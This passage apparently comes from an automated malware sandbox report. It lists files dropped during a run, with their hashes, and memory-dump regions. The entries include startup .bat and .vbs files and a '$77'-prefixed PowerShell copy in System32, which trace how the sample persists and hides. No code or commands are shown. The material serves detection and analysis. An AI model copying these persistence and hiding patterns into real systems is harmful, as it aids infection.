                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                  C:\Windows\system32\svchost.exe -k SDRSVC
                                                                                                                  1⤵
                                                                                                                    PID:3200

                                                                                                                  Network

                                                                                                                  MITRE ATT&CK Enterprise v15

                                                                                                                  Replay Monitor

                                                                                                                  Loading Replay Monitor...

                                                                                                                  Downloads

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

                                                                                                                    Filesize

                                                                                                                    3KB

                                                                                                                    MD5

                                                                                                                    661739d384d9dfd807a089721202900b

                                                                                                                    SHA1

                                                                                                                    5b2c5d6a7122b4ce849dc98e79a7713038feac55

                                                                                                                    SHA256

                                                                                                                    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

                                                                                                                    SHA512

                                                                                                                    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

                                                                                                                    1cc5e033811a5d520bb4a6904b5c433b

                                                                                                                    SHA1

                                                                                                                    c159a342ed372790600b3a6ac97e274638a0ce9a

                                                                                                                    SHA256

                                                                                                                    9e20052dd29dfcd8220dcf271acd3e27f9d6b785d72531043741ef349b48c7a8

                                                                                                                    SHA512

                                                                                                                    dd8b57e50382a7a84aea3986c3ae8a38ade0fb84a5c9696339487022321be12f08aff9d47455a28137e31a8632cda2490dcf0332c6b3c72e7cfdd10e63e4f429

                                                                                                                  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                                                                                    Filesize

                                                                                                                    1KB

                                                                                                                    MD5

                                                                                                                    5c0923e8e7765d761022bd427d59e9ca

                                                                                                                    SHA1

                                                                                                                    7490e1b19c5662e6339a68ba67920992dbfa3d33

                                                                                                                    SHA256

                                                                                                                    299f9fcb2628833eea10626dc3888f94f104d317cb95c846ef61e3cf4521efa7

                                                                                                                    SHA512

                                                                                                                    a8e9a422d44ddfa8ceba2b245660e2657b3d2bd416d59dcc667baa74fcf113ec09b9b1c394aec37fe0c8aac10f938c710de3c0909db03b605097aa62569c01e1

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\Install.exe

                                                                                                                    Filesize

                                                                                                                    162KB

                                                                                                                    MD5

                                                                                                                    152e3f07bbaf88fb8b097ba05a60df6e

                                                                                                                    SHA1

                                                                                                                    c4638921bb140e7b6a722d7c4d88afa7ed4e55c8

                                                                                                                    SHA256

                                                                                                                    a4623b34f8d09f536e6d8e2f06f6edfb3975938eb0d9927e6cd2ff9c553468fc

                                                                                                                    SHA512

                                                                                                                    2fcc3136e161e89a123f9ff8447afc21d090afdb075f084439b295988214d4b8e918be7eff47ffeec17a4a47ad5a49195b69e2465f239ee03d961a655ed51cd4

                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_e5q2vjah.er5.ps1

                                                                                                                    Filesize

                                                                                                                    60B

                                                                                                                    MD5

                                                                                                                    d17fe0a3f47be24a6453e9ef58c94641

                                                                                                                    SHA1

                                                                                                                    6ab83620379fc69f80c0242105ddffd7d98d5d9d

                                                                                                                    SHA256

                                                                                                                    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

                                                                                                                    SHA512

                                                                                                                    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_862.bat

                                                                                                                    Filesize

                                                                                                                    1.6MB

                                                                                                                    MD5

                                                                                                                    da7beeb28254ec3bb319060398c5818a

                                                                                                                    SHA1

                                                                                                                    99378e5615053698c3adcd02732389dc71d2b2eb

                                                                                                                    SHA256

                                                                                                                    d515f6ca3e692713a94fe4066bbba25b4d6157af0606ca17bde5c0d4f3a6e02b

                                                                                                                    SHA512

                                                                                                                    7d6322396e8ecbe5e3303dd96cc1a396037d2f7d47b50714725b1138f4fc650b0ccfa1a43dd233703a860c1109a21eba527a1714319f4a08bf1a23d4b9c4a0b2

                                                                                                                  • C:\Users\Admin\AppData\Roaming\startup_str_862.vbs

                                                                                                                    Filesize

                                                                                                                    115B

                                                                                                                    MD5

                                                                                                                    005b177de8b6e2edaf25b6dbf380b0c9

                                                                                                                    SHA1

                                                                                                                    6c24e99f5337a15d884cd7e2b92539d627771a7f

                                                                                                                    SHA256

                                                                                                                    4ec6f0d7f2d4fa76c3ad0e108648b756067a0dce94420d8f6a571bb324455461

                                                                                                                    SHA512

                                                                                                                    803b57554c5493bff49b79cea15bee2dff56b72767050e45b795326ebfc126f0639346d6b35ffd764226c9c08db49fa89e160b9d94ac3c8ee10e23016c2b141c

                                                                                                                  • C:\Windows\System32\SubDir\$77-$77-$77-powershell.exe

                                                                                                                    Filesize

                                                                                                                    442KB

                                                                                                                    MD5

                                                                                                                    04029e121a0cfa5991749937dd22a1d9

                                                                                                                    SHA1

                                                                                                                    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

                                                                                                                    SHA256

                                                                                                                    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

                                                                                                                    SHA512

                                                                                                                    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

                                                                                                                  • memory/520-154-0x0000027B8BE60000-0x0000027B8BE8B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/620-117-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/620-116-0x00000287DF930000-0x00000287DF95B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/620-108-0x00000287DF900000-0x00000287DF925000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    148KB

                                                                                                                  • memory/620-109-0x00000287DF930000-0x00000287DF95B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/620-110-0x00000287DF930000-0x00000287DF95B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/672-127-0x0000028EB5D30000-0x0000028EB5D5B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/672-128-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/672-121-0x0000028EB5D30000-0x0000028EB5D5B000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/944-138-0x0000015C3EBB0000-0x0000015C3EBDB000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/944-132-0x0000015C3EBB0000-0x0000015C3EBDB000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/944-139-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/1020-143-0x0000024A450A0000-0x0000024A450CB000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/1020-149-0x0000024A450A0000-0x0000024A450CB000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    172KB

                                                                                                                  • memory/1020-150-0x00007FF8CC050000-0x00007FF8CC060000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    64KB

                                                                                                                  • memory/2324-16-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2324-27-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2324-26-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2324-30-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2556-92-0x0000019C9C0A0000-0x0000019C9C0CA000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    168KB

                                                                                                                  • memory/2556-93-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/2556-94-0x00007FF90A0B0000-0x00007FF90A16E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    760KB

                                                                                                                  • memory/2792-0-0x00007FF8ED3E3000-0x00007FF8ED3E5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    8KB

                                                                                                                  • memory/2792-1-0x000001B0FF3C0000-0x000001B0FF3E2000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    136KB

                                                                                                                  • memory/2792-49-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2792-14-0x000001B09A610000-0x000001B09A742000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    1.2MB

                                                                                                                  • memory/2792-13-0x000001B09A4D0000-0x000001B09A4D8000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/2792-12-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/2792-11-0x00007FF8ED3E0000-0x00007FF8EDEA1000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    10.8MB

                                                                                                                  • memory/3148-102-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3148-105-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3148-95-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3148-98-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3148-104-0x00007FF90A0B0000-0x00007FF90A16E000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    760KB

                                                                                                                  • memory/3148-103-0x00007FF90BFD0000-0x00007FF90C1C5000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    2.0MB

                                                                                                                  • memory/3148-97-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3148-96-0x0000000140000000-0x0000000140008000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    32KB

                                                                                                                  • memory/3860-86-0x00000222D5130000-0x00000222D5174000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    272KB

                                                                                                                  • memory/3860-91-0x00000222D5560000-0x00000222D55D6000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    472KB

                                                                                                                  • memory/4164-50-0x000001B72C9F0000-0x000001B72CD14000-memory.dmp

                                                                                                                    Filesize

                                                                                                                    3.1MB